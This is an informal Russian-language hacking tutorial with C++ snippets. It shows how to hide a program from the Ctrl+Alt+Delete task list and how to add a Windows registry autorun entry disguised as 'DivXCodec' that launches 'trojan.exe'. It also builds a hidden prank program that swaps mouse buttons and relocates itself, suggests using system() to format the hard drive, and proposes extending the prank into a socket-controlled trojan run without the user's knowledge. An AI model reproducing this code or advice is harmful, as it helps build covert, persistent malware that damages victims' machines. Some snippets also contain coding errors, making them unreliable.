Итак,как скрыть прогу от Ctr + Alt + Delete? Ответ прост: #include #include BOOL (WINAPI *RegisterServiceProcess)(DWORD dwProcessId,DWORD dwType); int main(){ HINSTANCE hKernel; int i=1; //Пытаемся получить идентификатор загруженной библиотеки hKernel=LoadLibrary("KERNEL32.DLL"); if(hKernel){ //Идентификатор загруженной библиотеки был успешно получен cout<<"Success load library kernel32.dll"<< endl; RegisterServiceProcess=(int(__stdcall*)(DWORD,DWORD))GetProcAddress(hKernel,"RegisterServiceProcess"); if(RegisterServiceProcess){ //Указатель на функцию RegisterServiceProcess был //успешно получен. cout<<"Success to have address of the specified exported dynamic-link library (DLL) function"<< endl; if(RegisterServiceProcess(GetCurrentProcessId(),i)) cout<<"Success registers the process as a service process"<< endl; //Процесс был успешно зарегестрирован как сервис }else{ //Указатель на функцию RegisterServiceProcess не //был успешно получен. cout<<"Failed to have address of the specified exported dynamic-link library (DLL) function"<< endl; cin>>i; return 0; } }else{ //Идентификатор загруженной библиотеки не был получен cout<<"Failed load library kernel32.dll"<< endl; cin>>i; return 0; } cout<<"Registers the process as a service process:1"<< endl; cout<<"Unregisters the process as a service process:0"<< endl; cin>>i; if (RegisterServiceProcess(GetCurrentProcessId(),i)){ cout<<"Success"<< endl; }else{ cout<<"Failed"<< endl; } cin>>i; return 0; } Для компиляции использовался MSVC5, проект типа Console Application, чтобы в процессе сборки не было недоразумений проверьте на вкладке Link поле Object libraries/modules, оно должно быть пустым. Не знаешь,как писать в реестр?Бедняжка!: String data; TRegistry *pReg = new TRegistry; pReg->RootKey=HKEY_LOCAL_MACHINE; pReg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); data=pReg->ReadString("DivXCodec"); //DivXCodec можешь поменять на любое другое pReg->WriteString("DivXCodec","trojan.exe"); Как открыть/закрыть сидюк? _fastcall TMainForm::TMainForm(TComponent* Owner) : TForm(Owner) { Caption = Application->Title; DWORD ld = GetLogicalDrives(); for (int i = 0; i < 26; i++) { if ((ld & (1 << i)) != 0) { String drv = String(char('A' + i)) + ":"; if (GetDriveType(drv.c_str()) == DRIVE_CDROM) DriveCombo->Items->Add(drv); } } if (DriveCombo->Items->Count == 0) { OpenBtn->Enabled = false; CloseBtn->Enabled = false; DriveCombo->Items->Add("No CD-ROM Drives"); } else DriveCombo->ItemIndex = 0; } void TMainForm::DoDoor(bool open) { OpenBtn->Enabled = false; CloseBtn->Enabled = false; StatusText->Caption = open ? "Opening..." : "Closing..."; StatusText->Update(); String s = "open " + DriveCombo->Items->Strings[DriveCombo->ItemIndex] + " type cdaudio alias cd"; mciSendString(s.c_str(), 0, 0, 0); s = "set cd door " + String(open ? "open" : "closed"); mciSendString(s.c_str(), 0, 0, 0); mciSendString("close cd", 0, 0, 0); StatusText->Caption = ""; OpenBtn->Enabled = true; CloseBtn->Enabled = true; } void __fastcall TMainForm::OpenBtnClick(TObject *Sender) { DoDoor(true); } void __fastcall TMainForm::CloseBtnClick(TObject *Sender) { DoDoor(false); } Как преобразовать AnsiString в char? char *a[20]; AnsiString b="Hello,World"; strcpy(a,b.c_str()); Ну,возможмости неограничны...Если ты конечно,знаешь C++. Просто тебе нужно знать некоторые хорошие функции.Давай рассмотрим пример на одном западле. Я назвал его swap.От имени функции SwapMouseButton(true);,которая,как ты понял,меняет местами функции кнопок мыши.Ведь ты умеешь скрывать прогу от Ктрл + Алт + Дел,а чтобы форма не показывалась при загрузке,в начале блока try { напиши Application->ShowMainForm=false; Далее прописываем себя в реестр(я имею ввиду из проги),и используем Application->ExeName,это дает нам полный путь к проге. Помещаем на форму таймер,в нем пишем: SwapMouseButton(true); SwapMouseButton(false); Интервал ставь на свое усмотрение,в зависимости от степени извращенности...(шучу) Ну вот и все... Ах да,вот неплохая функция - bool Movefile(Existfile,dest file); ясно что в первом параматре надо писать Application->Exename,т.е. двигать будем нашу прогу.Ты можешь скакать по дирам или создавать свои с помощью mkdir(char dir); Можешь с помощью хорошей функции system(); форматнуть винт(эта функция нужна для выполнения системных утилит и запуска прог,но я использую spawn();) То бишь: #include for(int i=0;i<100;i++) { int result; result = spawnl(P_WAIT, "C:\Windows\calc.exe", "calc.exe.", NULL);//или system("calc.exe"); system("echo ha-ha"); //etc } Ну если уж на то пошло,то можно из западла сделать троян,т.е организовать передачу ему(трояну) команд(естесственно,без ведома юзера) Чтобы эта осуществить,можно поюзать сокеты Windows.Они достаточно просты в использовании,если все же не поймешь, посмотри Example builder'а,там все найдешь.
|